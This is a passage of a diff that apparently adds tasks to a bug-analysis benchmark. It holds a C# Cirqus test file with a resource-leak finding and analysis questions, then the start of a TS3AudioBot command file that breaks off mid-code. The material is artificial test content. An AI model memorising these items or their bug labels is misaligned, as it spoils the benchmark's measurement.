+using d60.Cirqus.Testing.Internals;
+using d60.Cirqus.Tests.Stubs;
+using NUnit.Framework;
+
+namespace d60.Cirqus.Tests.Commands
+{
+    [TestFixture]
+    public class TestCommandProcessing : FixtureBase
+    {
+        CommandProcessor _cirqus;
+        DefaultAggregateRootRepository _aggregateRootRepository;
+        InMemoryEventStore _eventStore;
+        readonly JsonDomainEventSerializer _domainEventSerializer = new JsonDomainEventSerializer();
+
+        protected override void DoSetUp()
+        {
+            _eventStore = new InMemoryEventStore(_domainEventSerializer);
+            var eventDispatcher = new ConsoleOutEventDispatcher();
+
+            _aggregateRootRepository = new DefaultAggregateRootRepository(_eventStore, _domainEventSerializer);
+
+            _cirqus = RegisterForDisposal(new CommandProcessor(_eventStore, _aggregateRootRepository, eventDispatcher,
+                _domainEventSerializer, new DefaultCommandMapper()));
+        }
+
+        [Test]
+        public void CanProcessBaseCommand()
+        {
+            var aggregateRootIds = Enumerable.Range(0, 5).Select(i => i.ToString()).ToArray();
+            var command = new MyCommand{AggregateRootIds = aggregateRootIds};
+
+            _cirqus.ProcessCommand(command);
+
+            var events = _eventStore.ToList();
+            Assert.That(events.Count, Is.EqualTo(10));
+        }
+
+        public class MyRoot : AggregateRoot, IEmit<MyEvent>
+        {
+            public void EmitMyEvent()
+            {
+                Emit(new MyEvent());
+            }
+
+            public void Apply(MyEvent e)
+            {
+                
+            }
+        }
+
+        public class MyEvent : DomainEvent<MyRoot> { }
+
+        public class MyCommand : ExecutableCommand
+        {
+            public string[] AggregateRootIds { get; set; }
+
+            public override void Execute(ICommandContext context)
+            {
+                AggregateRootIds.Select(x => context.Load<MyRoot>(x, createIfNotExists: true)).ToList().ForEach(r => r.EmitMyEvent());
+                AggregateRootIds.Select(x => context.Load<MyRoot>(x, createIfNotExists: true)).ToList().ForEach(r => r.EmitMyEvent());
+            }
+        }
+
+
+        [Test]
+        public void CanLetSpecificExceptionTypesThrough()
+        {
+            _cirqus.Options.AddDomainExceptionType<InvalidOperationException>();
+
+            var unwrappedException = Assert.Throws<InvalidOperationException>(() => _cirqus.ProcessCommand(new ErronousCommand("someid1")));
+
+            Console.WriteLine(unwrappedException);
+
+            Assert.That(unwrappedException, Is.TypeOf<InvalidOperationException>());
+            Assert.That(unwrappedException.Message, Contains.Substring("oh no, you cannot do that"));
+        }
+
+        [Test]
+        public void GeneratesPrettyException()
+        {
+            var appEx = Assert.Throws<CommandProcessingException>(() => _cirqus.ProcessCommand(new ErronousCommand("someid1")));
+
+            Console.WriteLine(appEx);
+
+            var inner = appEx.InnerException;
+
+            Assert.That(inner, Is.TypeOf<InvalidOperationException>());
+            Assert.That(inner.Message, Contains.Substring("oh no, you cannot do that"));
+        }
+
+        class ErronousCommand : Command<Root>
+        {
+            public ErronousCommand(string aggregateRootId)
+                : base(aggregateRootId)
+            {
+            }
+
+            public override void Execute(Root aggregateRoot)
+            {
+                throw new InvalidOperationException("oh no, you cannot do that");
+            }
+        }
+
+        [Test]
+        public void CanProcessMappedCommand()
+        {
+            _cirqus.ProcessCommand(new MappedCommand("id"));
+
+            Assert.That(_eventStore.ToList().Count, Is.EqualTo(1));
+        }
+
+        class MappedCommand : Command<Root>
+        {
+            public MappedCommand(string aggregateRootId) : base(aggregateRootId) { }
+
+            public override void Execute(Root aggregateRoot)
+            {
+                aggregateRoot.Inc();
+            }
+        }
+
+        [Test]
+        public void CanProcessOrdinaryCommand()
+        {
+            _cirqus.ProcessCommand(new OrdinaryCommand("id"));
+
+            Assert.That(_eventStore.ToList().Count, Is.EqualTo(1));
+        }
+
+        class OrdinaryCommand : Command<Root>
+        {
+            public OrdinaryCommand(string aggregateRootId) : base(aggregateRootId) { }
+
+            public override void Execute(Root aggregateRoot)
+            {
+                aggregateRoot.Inc();
+            }
+        }
+
+        [Test]
+        public void ThrowsNiceExceptionForCommandThatHasNotBeenMapped()
+        {
+            Assert.Throws<CommandProcessingException>(() => 
+                _cirqus.ProcessCommand(new AnotherCommand("rootid")));
+        }
+
+        class AnotherCommand : Command<Root>
+        {
+            public AnotherCommand(string aggregateRootId) : base(aggregateRootId) { }
+
+            public override void Execute(Root aggregateRoot)
+            {
+                throw new NotImplementedException("huigehugiehwugiehw hugehugeiwgh hugiewhugie whguiohwugewgoewa huigehugiehwugiehw hugehugeiwgh hugiewhugie whguiohwugewgoewa");
+            }
+        }
+
+        public class Root : AggregateRoot, IEmit<AnEvent>
+        {
+            public void Inc()
+            {
+                Emit(new AnEvent());
+            }
+
+            public void Apply(AnEvent e)
+            {
+            }
+        }
+
+        public class AnEvent : DomainEvent<Root>
+        {
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of d60.Cirqus.CommandProcessor::.ctor() at Line 29) of type d60.Cirqus.CommandProcessor in method "Void TestCommandProcessing.DoSetUp()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void TestCommandProcessing.DoSetUp()
+
+### File:
+d60.Cirqus.Tests/Commands/TestCommandProcessing.cs
+
+### Key:
+TestCommandProcessing.cs|DoSetUp|DOTNET_RESOURCE_LEAK
+
+### Hash:
+4935b232318b4b1f331ae2a61533367e
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1735/instruction.md b/inferredbugs-1735/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2725665bcc5f174f92d0d6fe6df5ebe0f4eea71a
--- /dev/null
+++ b/inferredbugs-1735/instruction.md
@@ -0,0 +1,1598 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** TS3AudioBot
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+// TS3AudioBot - An advanced Musicbot for Teamspeak 3
+// Copyright (C) 2017  TS3AudioBot contributors
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the Open Software License v. 3.0
+//
+// You should have received a copy of the Open Software License along with this
+// program. If not, see <https://opensource.org/licenses/OSL-3.0>.
+
+namespace TS3AudioBot
+{
+	using CommandSystem;
+	using CommandSystem.Ast;
+	using CommandSystem.CommandResults;
+	using CommandSystem.Commands;
+	using Config;
+	using Dependency;
+	using Helper;
+	using Helper.Environment;
+	using History;
+	using Localization;
+	using Newtonsoft.Json.Linq;
+	using Playlists;
+	using Plugins;
+	using ResourceFactories;
+	using Rights;
+	using Sessions;
+	using System;
+	using System.Collections.Generic;
+	using System.Globalization;
+	using System.Linq;
+	using System.Text;
+	using TS3Client;
+	using TS3Client.Audio;
+	using TS3Client.Messages;
+	using Web.Api;
+
+	public static class MainCommands
+	{
+		internal static ICommandBag Bag { get; } = new MainCommandsBag();
+
+		internal class MainCommandsBag : ICommandBag
+		{
+			public IReadOnlyCollection<BotCommand> BagCommands { get; }
+			public IReadOnlyCollection<string> AdditionalRights { get; } = new string[] { RightHighVolume, RightDeleteAllPlaylists };
+
+			public MainCommandsBag()
+			{
+				BagCommands = CommandManager.GetBotCommands(null, typeof(MainCommands)).ToArray();
+			}
+		}
+
+		public const string RightHighVolume = "ts3ab.admin.volume";
+		public const string RightDeleteAllPlaylists = "ts3ab.admin.list";
+
+		private const string YesNoOption = " !(yes|no)";
+
+		// [...] = Optional
+		// <name> = Placeholder for a text
+		// [text] = Option for fixed text
+		// (a|b) = either or switch
+
+		// ReSharper disable UnusedMember.Global
+		[Command("add")]
+		[Usage("<link>", "Any link that is also recognized by !play")]
+		public static void CommandAdd(PlayManager playManager, InvokerData invoker, string url)
+			=> playManager.Enqueue(invoker, url).UnwrapThrow();
+
+		[Command("api token")]
+		[Usage("[<duration>]", "Optionally specifies a duration this key is valid in hours.")]
+		public static string CommandApiToken(TokenManager tokenManager, InvokerData invoker, double? validHours = null)
+		{
+			if (invoker.Visibiliy.HasValue && invoker.Visibiliy != TextMessageTargetMode.Private)
+				throw new CommandException(strings.error_use_private, CommandExceptionReason.CommandError);
+			if (invoker.ClientUid == null)
+				throw new CommandException(strings.error_no_uid_found, CommandExceptionReason.CommandError);
+
+			TimeSpan? validSpan = null;
+			try
+			{
+				if (validHours.HasValue)
+					validSpan = TimeSpan.FromHours(validHours.Value);
+			}
+			catch (OverflowException oex)
+			{
+				throw new CommandException(strings.error_invalid_token_duration, oex, CommandExceptionReason.CommandError);
+			}
+			return tokenManager.GenerateToken(invoker.ClientUid, validSpan);
+		}
+
+		[Command("api nonce")]
+		public static string CommandApiNonce(TokenManager tokenManager, InvokerData invoker)
+		{
+			if (invoker.Visibiliy.HasValue && invoker.Visibiliy != TextMessageTargetMode.Private)
+				throw new CommandException(strings.error_use_private, CommandExceptionReason.CommandError);
+			if (invoker.ClientUid == null)
+				throw new CommandException(strings.error_no_uid_found, CommandExceptionReason.CommandError);
+			var result = tokenManager.GetToken(invoker.ClientUid).UnwrapThrow();
+
+			var nonce = result.CreateNonce();
+			return nonce.Value;
+		}
+
+		[Command("bot avatar")]
+		public static void CommandBotAvatar(Ts3Client ts3Client, string url)
+		{
+			url = TextUtil.ExtractUrlFromBb(url);
+			Uri uri;
+			try { uri = new Uri(url); }
+			catch (Exception ex) { throw new CommandException(strings.error_media_invalid_uri, ex, CommandExceptionReason.CommandError); }
+
+			WebWrapper.GetResponse(uri, x =>
+			{
+				var stream = x.GetResponseStream();
+				if (stream == null)
+					throw new CommandException(strings.error_net_empty_response, CommandExceptionReason.CommandError);
+				using (var image = ImageUtil.ResizeImage(stream))
+				{
+					if (image == null)
+						throw new CommandException(strings.error_media_internal_invalid, CommandExceptionReason.CommandError);
+					ts3Client.UploadAvatar(image).UnwrapThrow();
+				}
+			});
+		}
+
+		[Command("bot commander")]
+		public static JsonValue<bool> CommandBotCommander(Ts3Client ts3Client)
+		{
+			var value = ts3Client.IsChannelCommander().UnwrapThrow();
+			return new JsonValue<bool>(value, string.Format(strings.info_status_channelcommander, value ? strings.info_on : strings.info_off));
+		}
+		[Command("bot commander on")]
+		public static void CommandBotCommanderOn(Ts3Client ts3Client) => ts3Client.SetChannelCommander(true).UnwrapThrow();
+		[Command("bot commander off")]
+		public static void CommandBotCommanderOff(Ts3Client ts3Client) => ts3Client.SetChannelCommander(false).UnwrapThrow();
+
+		[Command("bot come")]
+		public static void CommandBotCome(Ts3Client ts3Client, InvokerData invoker, string password = null)
+		{
+			var channel = invoker?.ChannelId;
+			if (!channel.HasValue)
+				throw new CommandException(strings.error_no_target_channel, CommandExceptionReason.CommandError);
+			CommandBotMove(ts3Client, channel.Value, password);
+		}
+
+		[Command("bot connect to")]
+		public static BotInfo CommandBotConnectTo(BotManager bots, string name)
+		{
+			var botInfo = bots.RunBotTemplate(name);
+			if (!botInfo.Ok)
+				throw new CommandException(strings.error_could_not_create_bot + $" ({botInfo.Error})", CommandExceptionReason.CommandError);
+			return botInfo.Value; // TODO check value/object
+		}
+
+		[Command("bot connect new")]
+		public static BotInfo CommandBotConnectNew(BotManager bots, string address, string password = null)
+		{
+			var botConf = bots.CreateNewBot();
+			botConf.Connect.Address.Value = address;
+			if (!string.IsNullOrEmpty(password))
+				botConf.Connect.ServerPassword.Password.Value = password;
+			var botInfo = bots.RunBot(botConf);
+			if (!botInfo.Ok)
+				throw new CommandException(strings.error_could_not_create_bot + $" ({botInfo.Error})", CommandExceptionReason.CommandError);
+			return botInfo.Value; // TODO check value/object
+		}
+
+		[Command("bot info")]
+		public static BotInfo CommandBotInfo(Bot bot) => bot.GetInfo();
+
+		[Command("bot info client", "_undocumented")]
+		public static JsonValue<ClientInfo> CommandBotInfoClient(Ts3Client ts3Client)
+			=> new JsonValue<ClientInfo>(ts3Client.GetSelf().UnwrapThrow(), string.Empty);
+
+		[Command("bot list")]
+		public static JsonArray<BotInfo> CommandBotId(BotManager bots)
+		{
+			var botlist = bots.GetBotInfolist();
+			return new JsonArray<BotInfo>(botlist, bl => string.Join("\n", bl.Select(x => x.ToString())));
+		}
+
+		[Command("bot move")]
+		public static void CommandBotMove(Ts3Client ts3Client, ulong channel, string password = null) => ts3Client.MoveTo(channel, password).UnwrapThrow();
+
+		[Command("bot name")]
+		public static void CommandBotName(Ts3Client ts3Client, string name) => ts3Client.ChangeName(name).UnwrapThrow();
+
+		[Command("bot badges")]
+		public static void CommandBotBadges(Ts3Client ts3Client, string badges) => ts3Client.ChangeBadges(badges).UnwrapThrow();
+
+		[Command("bot save")]
+		public static void CommandBotSetup(Bot bot, ConfBot botConfig, string name)
+		{
+			botConfig.SaveNew(name).UnwrapThrow();
+			bot.Name = name;
+		}
+
+		[Command("bot setup")]
+		public static void CommandBotSetup(Ts3Client ts3Client, string adminToken = null)
+		{
+			if (!ts3Client.SetupRights(adminToken))
+				throw new CommandException(strings.cmd_bot_setup_error, CommandExceptionReason.CommandError);
+		}
+
+		[Command("bot use")]
+		public static ICommandResult CommandBotUse(ExecutionInformation info, IReadOnlyList<CommandResultType> returnTypes, BotManager bots, int botId, ICommand cmd)
+		{
+			using (var botLock = bots.GetBotLock(botId))
+			{
+				if (botLock == null)
+					throw new CommandException(strings.error_bot_does_not_exist, CommandExceptionReason.CommandError);
+
+				var childInfo = new ExecutionInformation(botLock.Bot.Injector.CloneRealm<BotInjector>());
+				if (info.TryGet<CallerInfo>(out var caller))
+					childInfo.AddDynamicObject(caller);
+				if (info.TryGet<InvokerData>(out var invoker))
+					childInfo.AddDynamicObject(invoker);
+				if (info.TryGet<UserSession>(out var session))
+					childInfo.AddDynamicObject(session);
+
+				return cmd.Execute(childInfo, Array.Empty<ICommand>(), returnTypes);
+			}
+		}
+
+		[Command("clear")]
+		public static void CommandClear(PlaylistManager playlistManager) => playlistManager.ClearFreelist();
+
+		[Command("disconnect")]
+		public static void CommandDisconnect(BotManager bots, Bot bot) => bots.StopBot(bot);
+
+		[Command("eval")]
+		[Usage("<command> <arguments...>", "Executes the given command on arguments")]
+		[Usage("<strings...>", "Concat the strings and execute them with the command system")]
+		public static ICommandResult CommandEval(ExecutionInformation info, CommandManager commandManager, IReadOnlyList<ICommand> arguments, IReadOnlyList<CommandResultType> returnTypes)
+		{
+			// Evaluate the first argument on the rest of the arguments
+			if (arguments.Count == 0)
+				throw new CommandException(strings.error_cmd_at_least_one_argument, CommandExceptionReason.MissingParameter);
+			var leftArguments = arguments.TrySegment(1);
+			var arg0 = arguments[0].Execute(info, Array.Empty<ICommand>(), XCommandSystem.ReturnCommandOrString);
+			if (arg0.ResultType == CommandResultType.Command)
+				return ((CommandCommandResult)arg0).Command.Execute(info, leftArguments, returnTypes);
+
+			// We got a string back so parse and evaluate it
+			var args = ((StringCommandResult)arg0).Content;
+
+			// Add the rest of the arguments
+			args += string.Join(" ", arguments.Select(a =>
+				((StringCommandResult)a.Execute(info, Array.Empty<ICommand>(), XCommandSystem.ReturnString)).Content));
+
+			var cmd = commandManager.CommandSystem.AstToCommandResult(CommandParser.ParseCommandRequest(args));
+			return cmd.Execute(info, leftArguments, returnTypes);
+		}
+
+		[Command("getmy id")]
+		public static ushort CommandGetId(InvokerData invoker)
+			=> invoker.ClientId ?? throw new CommandException(strings.error_not_found, CommandExceptionReason.CommandError);
+		[Command("getmy uid")]
+		public static string CommandGetUid(InvokerData invoker)
+			=> invoker.ClientUid ?? throw new CommandException(strings.error_not_found, CommandExceptionReason.CommandError);
+		[Command("getmy name")]
+		public static string CommandGetName(InvokerData invoker)
+			=> invoker.NickName ?? throw new CommandException(strings.error_not_found, CommandExceptionReason.CommandError);
+		[Command("getmy dbid")]
+		public static ulong CommandGetDbId(InvokerData invoker)
+			=> invoker.DatabaseId ?? throw new CommandException(strings.error_not_found, CommandExceptionReason.CommandError);
+		[Command("getmy channel")]
+		public static ulong CommandGetChannel(InvokerData invoker)
+			=> invoker.ChannelId ?? throw new CommandException(strings.error_not_found, CommandExceptionReason.CommandError);
+		[Command("getmy all")]
+		public static JsonValue<InvokerData> CommandGetUser(InvokerData invoker)
+			=> new JsonValue<InvokerData>(invoker, $"Client: Id:{invoker.ClientId} DbId:{invoker.DatabaseId} ChanId:{invoker.ChannelId} Uid:{invoker.ClientUid}"); // LOC: TODO
+
+		[Command("getuser uid byid")]
+		public static string CommandGetUidById(Ts3Client ts3Client, ushort id) => ts3Client.GetFallbackedClientById(id).UnwrapThrow().Uid;
+		[Command("getuser name byid")]
+		public static string CommandGetNameById(Ts3Client ts3Client, ushort id) => ts3Client.GetFallbackedClientById(id).UnwrapThrow().Name;
+		[Command("getuser dbid byid")]
+		public static ulong CommandGetDbIdById(Ts3Client ts3Client, ushort id) => ts3Client.GetFallbackedClientById(id).UnwrapThrow().DatabaseId;
+		[Command("getuser channel byid")]
+		public static ulong CommandGetChannelById(Ts3Client ts3Client, ushort id) => ts3Client.GetFallbackedClientById(id).UnwrapThrow().ChannelId;
+		[Command("getuser all byid")]
+		public static JsonValue<ClientData> CommandGetUserById(Ts3Client ts3Client, ushort id)
+		{
+			var client = ts3Client.GetFallbackedClientById(id).UnwrapThrow();
+			return new JsonValue<ClientData>(client, $"Client: Id:{client.ClientId} DbId:{client.DatabaseId} ChanId:{client.ChannelId} Uid:{client.Uid}");
+		}
+		[Command("getuser id byname")]
+		public static ushort CommandGetIdByName(Ts3Client ts3Client, string username) => ts3Client.GetClientByName(username).UnwrapThrow().ClientId;
+		[Command("getuser all byname")]
+		public static JsonValue<ClientData> CommandGetUserByName(Ts3Client ts3Client, string username)
+		{
+			var client = ts3Client.GetClientByName(username).UnwrapThrow();
+			return new JsonValue<ClientData>(client, $"Client: Id:{client.ClientId} DbId:{client.DatabaseId} ChanId:{client.ChannelId} Uid:{client.Uid}");
+		}
+		[Command("getuser name bydbid")]
+		public static string CommandGetNameByDbId(Ts3Client ts3Client, ulong dbId) => ts3Client.GetDbClientByDbId(dbId).UnwrapThrow().Name;
+		[Command("getuser uid bydbid")]
+		public static string CommandGetUidByDbId(Ts3Client ts3Client, ulong dbId) => ts3Client.GetDbClientByDbId(dbId).UnwrapThrow().Uid;
+
+		[Command("help")]
+		[Usage("[<command>]", "Any currently accepted command")]
+		public static JsonObject CommandHelp(CommandManager commandManager, CallerInfo caller, Algorithm.Filter filter = null, params string[] command)
+		{
+			if (command.Length == 0 && !caller.ApiCall)
+			{
+				var botComList = commandManager.AllCommands.Select(c => c.InvokeName).OrderBy(x => x).GroupBy(n => n.Split(' ')[0]).Select(x => x.Key).ToArray();
+				return new JsonArray<string>(botComList, bcl =>
+				{
+					var strb = new StringBuilder();
+					strb.AppendLine();
+					strb.AppendLine(strings.cmd_help_header);
+					foreach (var botCom in bcl)
+						strb.Append(botCom).Append(", ");
+					strb.Length -= 2;
+					return strb.ToString();
+				});
+			}
+
+			CommandGroup group = commandManager.CommandSystem.RootCommand;
+			ICommand target = group;
+			for (int i = 0; i < command.Length; i++)
+			{
+				filter = filter ?? Algorithm.Filter.DefaultFilter;
+				var possibilities = filter.Current.Filter(group.Commands, command[i]).ToList();
+				if (possibilities.Count <= 0)
+					throw new CommandException(strings.cmd_help_error_no_matching_command, CommandExceptionReason.CommandError);
+				if (possibilities.Count > 1)
+					throw new CommandException(string.Format(strings.cmd_help_error_ambiguous_command, string.Join(", ", possibilities.Select(kvp => kvp.Key))), CommandExceptionReason.CommandError);
+
+				target = possibilities[0].Value;
+				if (i < command.Length - 1)
+				{
+					group = target as CommandGroup;
+					if (group == null)
+						throw new CommandException(string.Format(strings.cmd_help_error_no_further_subfunctions, string.Join(" ", command, 0, i)), CommandExceptionReason.CommandError);
+				}
+			}
+
+			switch (target)
+			{
+			case BotCommand targetB:
+				return new JsonValue<object>(targetB.AsJsonObj);
+			case CommandGroup targetCg:
+				var subList = targetCg.Commands.Select(g => g.Key).ToArray();
+				return new JsonArray<string>(subList, string.Format(strings.cmd_help_info_contains_subfunctions, string.Join(", ", subList)));
+			case OverloadedFunctionCommand targetOfc:
+				var strb = new StringBuilder();
+				foreach (var botCom in targetOfc.Functions.OfType<BotCommand>())
+					strb.Append(botCom);
+				return new JsonValue<string>(strb.ToString());
+			default:
+				throw new CommandException(strings.cmd_help_error_unknown_error, CommandExceptionReason.CommandError);
+			}
+		}
+
+		[Command("history add")]
+		public static void CommandHistoryQueue(HistoryManager historyManager, PlayManager playManager, InvokerData invoker, uint hid)
+		{
+			var ale = historyManager.GetEntryById(hid).UnwrapThrow();
+			playManager.Enqueue(invoker, ale.AudioResource).UnwrapThrow();
+		}
+
+		[Command("history clean")]
+		public static JsonEmpty CommandHistoryClean(DbStore database, CallerInfo caller, UserSession session = null)
+		{
+			if (caller.ApiCall)
+			{
+				database.CleanFile();
+				return new JsonEmpty(string.Empty);
+			}
+
+			string ResponseHistoryClean(string message)
+			{
+				if (TextUtil.GetAnswer(message) == Answer.Yes)
+				{
+					database.CleanFile();
+					return strings.info_cleanup_done;
+				}
+				return null;
+			}
+			session.SetResponse(ResponseHistoryClean);
+			return new JsonEmpty($"{strings.cmd_history_clean_confirm_clean} {strings.info_bot_might_be_unresponsive} {YesNoOption}");
+		}
+
+		[Command("history clean removedefective")]
+		public static JsonEmpty CommandHistoryCleanRemove(HistoryManager historyManager, CallerInfo caller, UserSession session = null)
+		{
+			if (caller.ApiCall)
+			{
+				historyManager.RemoveBrokenLinks();
+				return new JsonEmpty(string.Empty);
+			}
+
+			string ResponseHistoryCleanRemove(string message)
+			{
+				if (TextUtil.GetAnswer(message) == Answer.Yes)
+				{
+					historyManager.RemoveBrokenLinks();
+					return strings.info_cleanup_done;
+				}
+				return null;
+			}
+			session.SetResponse(ResponseHistoryCleanRemove);
+			return new JsonEmpty($"{strings.cmd_history_clean_removedefective_confirm_clean} {strings.info_bot_might_be_unresponsive} {YesNoOption}");
+		}
+
+		[Command("history clean upgrade", "_undocumented")]
+		public static void CommandHistoryCleanUpgrade(HistoryManager historyManager, Ts3Client ts3Client)
+		{
+			historyManager.UpdadeDbIdToUid(ts3Client);
+		}
+
+		[Command("history delete")]
+		public static JsonEmpty CommandHistoryDelete(HistoryManager historyManager, CallerInfo caller, uint id, UserSession session = null)
+		{
+			var ale = historyManager.GetEntryById(id).UnwrapThrow();
+
+			if (caller.ApiCall)
+			{
+				historyManager.RemoveEntry(ale);
+				return new JsonEmpty(string.Empty);
+			}
+
+			string ResponseHistoryDelete(string message)
+			{
+				Answer answer = TextUtil.GetAnswer(message);
+				if (answer == Answer.Yes)
+				{
+					historyManager.RemoveEntry(ale);
+				}
+				return null;
+			}
+
+			session.SetResponse(ResponseHistoryDelete);
+			string name = ale.AudioResource.ResourceTitle;
+			if (name.Length > 100)
+				name = name.Substring(100) + "...";
+			return new JsonEmpty(string.Format(strings.cmd_history_delete_confirm + YesNoOption, name, id));
+		}
+
+		[Command("history from")]
+		public static JsonArray<AudioLogEntry> CommandHistoryFrom(HistoryManager historyManager, string userUid, int? amount = null)
+		{
+			var query = new SeachQuery { UserUid = userUid };
+			if (amount.HasValue)
+				query.MaxResults = amount.Value;
+
+			var results = historyManager.Search(query).ToArray();
+			return new JsonArray<AudioLogEntry>(results, historyManager.Format);
+		}
+
+		[Command("history id", "cmd_history_id_uint_help")]
+		public static JsonValue<AudioLogEntry> CommandHistoryId(HistoryManager historyManager, uint id)
+		{
+			var result = historyManager.GetEntryById(id).UnwrapThrow();
+			return new JsonValue<AudioLogEntry>(result, historyManager.Format(result));
+		}
+
+		[Command("history id", "cmd_history_id_string_help")]
+		public static JsonValue<uint> CommandHistoryId(HistoryManager historyManager, string special)
+		{
+			if (special == "last")
+				return new JsonValue<uint>(historyManager.HighestId, string.Format(strings.cmd_history_id_last, historyManager.HighestId));
+			else if (special == "next")
+				return new JsonValue<uint>(historyManager.HighestId + 1, string.Format(strings.cmd_history_id_next, historyManager.HighestId + 1));
+			else
+				throw new CommandException("Unrecognized name descriptor", CommandExceptionReason.CommandError);
+		}
+
+		[Command("history last", "cmd_history_last_int_help")]
+		public static JsonArray<AudioLogEntry> CommandHistoryLast(HistoryManager historyManager, int amount)
+		{
+			var query = new SeachQuery { MaxResults = amount };
+			var results = historyManager.Search(query).ToArray();
+			return new JsonArray<AudioLogEntry>(results, historyManager.Format);
+		}
+
+		[Command("history last", "cmd_history_last_help")]
+		public static void CommandHistoryLast(HistoryManager historyManager, PlayManager playManager, InvokerData invoker)
+		{
+			var ale = historyManager.Search(new SeachQuery { MaxResults = 1 }).FirstOrDefault();
+			if (ale == null)
+				throw new CommandException(strings.cmd_history_last_is_empty, CommandExceptionReason.CommandError);
+			playManager.Play(invoker, ale.AudioResource).UnwrapThrow();
+		}
+
+		[Command("history play")]
+		public static void CommandHistoryPlay(HistoryManager historyManager, PlayManager playManager, InvokerData invoker, uint hid)
+		{
+			var ale = historyManager.GetEntryById(hid).UnwrapThrow();
+			playManager.Play(invoker, ale.AudioResource).UnwrapThrow();
+		}
+
+		[Command("history rename")]
+		public static void CommandHistoryRename(HistoryManager historyManager, uint id, string newName)
+		{
+			var ale = historyManager.GetEntryById(id).UnwrapThrow();
+
+			if (string.IsNullOrWhiteSpace(newName))
+				throw new CommandException(strings.cmd_history_rename_invalid_name, CommandExceptionReason.CommandError);
+
+			historyManager.RenameEntry(ale, newName);
+		}
+
+		[Command("history till", "cmd_history_till_DateTime_help")]
+		public static JsonArray<AudioLogEntry> CommandHistoryTill(HistoryManager historyManager, DateTime time)
+		{
+			var query = new SeachQuery { LastInvokedAfter = time };
+			var results = historyManager.Search(query).ToArray();
+			return new JsonArray<AudioLogEntry>(results, historyManager.Format);
+		}
+
+		[Command("history till", "cmd_history_till_string_help")]
+		public static JsonArray<AudioLogEntry> CommandHistoryTill(HistoryManager historyManager, string time)
+		{
+			DateTime tillTime;
+			switch (time.ToLower(CultureInfo.InvariantCulture))
+			{
+			case "hour": tillTime = DateTime.Now.AddHours(-1); break;
+			case "today": tillTime = DateTime.Today; break;
+			case "yesterday": tillTime = DateTime.Today.AddDays(-1); break;
+			case "week": tillTime = DateTime.Today.AddDays(-7); break;
+			default: throw new CommandException(strings.error_unrecognized_descriptor, CommandExceptionReason.CommandError);
+			}
+			var query = new SeachQuery { LastInvokedAfter = tillTime };
+			var results = historyManager.Search(query).ToArray();
+			return new JsonArray<AudioLogEntry>(results, historyManager.Format);
+		}
+
+		[Command("history title")]
+		public static JsonArray<AudioLogEntry> CommandHistoryTitle(HistoryManager historyManager, string part)
+		{
+			var query = new SeachQuery { TitlePart = part };
+			var results = historyManager.Search(query).ToArray();
+			return new JsonArray<AudioLogEntry>(results, historyManager.Format);
+		}
+
+		[Command("if")]
+		[Usage("<argument0> <comparator> <argument1> <then>", "Compares the two arguments and returns or executes the then-argument")]
+		[Usage("<argument0> <comparator> <argument1> <then> <else>", "Same as before and return the else-arguments if the condition is false")]
+		public static ICommandResult CommandIf(ExecutionInformation info, IReadOnlyList<ICommand> arguments, IReadOnlyList<CommandResultType> returnTypes)
+		{
+			if (arguments.Count < 4)
+				throw new CommandException(strings.error_cmd_at_least_four_argument, CommandExceptionReason.MissingParameter);
+			var arg0 = ((StringCommandResult)arguments[0].Execute(info, Array.Empty<ICommand>(), XCommandSystem.ReturnString)).Content;
+			var cmp = ((StringCommandResult)arguments[1].Execute(info, Array.Empty<ICommand>(), XCommandSystem.ReturnString)).Content;
+			var arg1 = ((StringCommandResult)arguments[2].Execute(info, Array.Empty<ICommand>(), XCommandSystem.ReturnString)).Content;
+
+			Func<double, double, bool> comparer;
+			switch (cmp)
+			{
+			case "<": comparer = (a, b) => a < b; break;
+			case ">": comparer = (a, b) => a > b; break;
+			case "<=": comparer = (a, b) => a <= b; break;
+			case ">=": comparer = (a, b) => a >= b; break;
+			case "==": comparer = (a, b) => Math.Abs(a - b) < 1e-6; break;
+			case "!=": comparer = (a, b) => Math.Abs(a - b) > 1e-6; break;
+			default: throw new CommandException(strings.cmd_if_unknown_operator, CommandExceptionReason.CommandError);
+			}
+
+			bool cmpResult;
+			// Try to parse arguments into doubles
+			if (double.TryParse(arg0, NumberStyles.Number, CultureInfo.InvariantCulture, out var d0)
+				&& double.TryParse(arg1, NumberStyles.Number, CultureInfo.InvariantCulture, out var d1))
+			{
+				cmpResult = comparer(d0, d1);
+			}
+			else
+			{
+				cmpResult = comparer(string.CompareOrdinal(arg0, arg1), 0);
+			}
+
+			// If branch
+			if (cmpResult)
+				return arguments[3].Execute(info, Array.Empty<ICommand>(), returnTypes);
+			// Else branch
+			if (arguments.Count > 4)
+				return arguments[4].Execute(info, Array.Empty<ICommand>(), returnTypes);
+
+			// Try to return nothing
+			if (returnTypes.Contains(CommandResultType.Empty))
+				return EmptyCommandResult.Instance;
+			throw new CommandException(strings.error_nothing_to_return, CommandExceptionReason.NoReturnMatch);
+		}
+
+		[Command("json merge")]
+		public static JsonArray<object> CommandJsonMerge(ExecutionInformation info, IReadOnlyList<ICommand> arguments)
+		{
+			if (arguments.Count == 0)
+				return new JsonArray<object>(Array.Empty<object>(), string.Empty);
+
+			var jsonArr = arguments
+				.Select(arg =>
+				{
+					ICommandResult res;
+					try { res = arg.Execute(info, Array.Empty<ICommand>(), XCommandSystem.ReturnJson); }
+					catch (CommandException) { return null; }
+					if (res.ResultType == CommandResultType.Json)
+						return ((JsonCommandResult)res).JsonObject.GetSerializeObject();
+					else
